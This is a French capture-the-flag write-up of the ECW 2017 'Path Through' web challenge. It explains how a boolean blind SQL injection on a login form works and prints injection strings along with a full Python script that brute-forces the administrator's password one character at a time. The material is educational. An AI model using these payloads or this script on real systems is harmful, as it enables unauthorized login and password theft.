L’ECW 2017 est un challenge Jeopardy français organisé par le Pôle d’Excellence Cyber en partenariat avec la Région Bretagne, Airbus et Thalès. Path Through est challenge web basé sur les injections SQL en aveugle (blind).
Du 06/10 au 22/10 2017, il sert de pré-sélection pour l’épreuve finale de type Capture The Flag qui débutera le 29 novembre 2017 lors de la conférence de l’European Cyber Week à Rennes.
Découverte
Le challenge commence en présentant un formulaire d’authentification. On nous demande de nous identifier avec le compte administrateur. Le username n’est pas spécifié, mais il est dit qu’il s’agit d’un “identifiant simple”… Outre la partie devinette, on pense de suite à “admin”.
Tests et hypothèses
N’ayant que ce formulaire sous la main, tout l’intérêt du challenge réside dans le fait de réussir à bypass l’authentification afin d’accéder à la zone d’administration.
On tente différentes injections et différentes tentatives de connexion. On remarque un message d’erreur lorsque que le couple identifiant/password est invalide.
On a donc un retour “booléen”. Soit c’est valide, soit ça ne l’est pas. À partir de là, on pense à une Injection SQL en aveugle (blind SQLi).
L’injection en aveugle se base sur l’utilisation de la fonction substring() et le fait de trouver les caractères du mot de passe un par un. En supposant que le champ contenant le mot de passe dans la base de données soit nommé “password”, on va chercher à tester chaque caractère du mot de passe. Le but est de rendre la requête vraie. On se basera pour cela sur le message affiché à l’utilisateur.
En sachant que les 4 premiers caractères du flag (et donc probablement du mot de passe) sont “ECW{” on peut donc imaginer une injection de ce type :
username=admin&password=' or substring(password,1,1)='E
On a donc effectivement une Injection SQL en aveugle ! Passons à l’exploitation.
Exploitation et Bypass
Deux solutions s’offrent à nous pour réussir l’exploitation de la vulnérabilité. On peut réaliser l’exploitation à la main, en essayant de deviner les caractères suivants, comme ceci :
username=admin&password=' or substring(password,1,2)='C
username=admin&password=' or substring(password,1,3)='W
username=admin&password=' or substring(password,1,4)='E{
Ou bien automatiser l’exploitation par un script. C’est cette seconde solution qui a été choisie afin d’accélérer le processus. En effet, une exploitation manuelle serait longue et fastidieuse. On sait cependant que le mot de passe est un hash MD5, donc uniquement composé des caractères “abcdef0123456789”.
On écrit donc un petit script python permettant de retrouver le mot de passe (Ce script est disponible sur le dépôt Github).
NOTE : On n’oublie pas d’ajouter le token de sécurité nonce ainsi qu’un cookie valide afin que les requêtes puissent passer.
#!/usr/bin/python
#coding: utf-8
import requests
import string
import sys
requests.packages.urllib3.disable_warnings()
## Request needed informations
BASE_URL = "https://challenge-ecw.fr/chals/web100"
PARAMS = {
'username': 'admin',
'password': '',
'nonce' : '58109a1ef582bab83c89b9435d455e527b44736e43d64750604f7c2a3012f404ba282e19278431cad17852fa9475b2a01a8ddf9551d6b6cfaa5fa6311ceddb5a',
}
## Static variables
KEYWORD = "Le mot de passe est le flag."
MAX_PWD_LENGTH = 255
URL = "https://challenge-ecw.fr/chals/web100"
VULNERABLE_PARAM = "password="
INJECTION_USED = "username=admin&password=' or substring(password,1,1)='E"
## Password variables
passwordLength = 37
password = "ECW{"
if __name__ == "__main__":
print("\n#####################################")
print("## Blind SQL Injection ECW 2017 ##")
print("#####################################\n")
print("[+] URL injected : %s" % URL)
print("[+] Vulnerable parameter : %s" % VULNERABLE_PARAM)
print("[+] Injection used : %s" % INJECTION_USED)
print("\n[+] Starting bruteforce\n")
#req = requests.get(url=BASE_URL, verify=False)
#token = req.GET['nonce']
#PARAMS['nonce'] = token
s = requests.Session()
COOKIE = dict(session=".eJwNj8tqwzAQRX-lzNoLx003hi4KstMGZoyLYiHt1NixpUgqJBQ_Qv69szucy1ncBwSbRijhcoMM0m86D1A-4OWHFclxQREmVF1kXnWsXSPINyK4RrYbqTYn2QWSX6_aM29YGPZGaObTTP4jN773GKsNRbUa3850OE7ox9XI6g39eU8CF13UV5TM8hi1vHLbOW5mVNXeHL5jI087VG2hvfEm1hMpM5HHBRUF3h2p6h2eGfzdh1uykQ_Ap7UL_7F9dAnKiw33IQPXQ7kr8uc_UPNP7A.DMdGMg.UMD8szIENKxcuos1Rmk0Zqzd_8s")
for i in range(5, passwordLength):
charset = "abcdef0123456789"
for j in charset:
sys.stdout.write("\r")
sys.stdout.write("[+] Password : %s%c" % (password,j))
sys.stdout.flush()
PARAMS['password'] = "' or substring(password,1,"+ str(i) +")='" + password + j
req = s.post(url=BASE_URL, data=PARAMS, cookies=COOKIE, verify=False)
if KEYWORD in req.text:
password += j
break;
password = password + "}"
print("\n[+] Done\n")
print("[+] Password is %s\n" % password)
Récupération du Flag
On exécute notre script et là..
Bingo ! Le flag est à nous. Challenge présentant donc une blind SQLi assez basique mais néanmoins intéressant pour apprendre ou rafraichir les connaissances.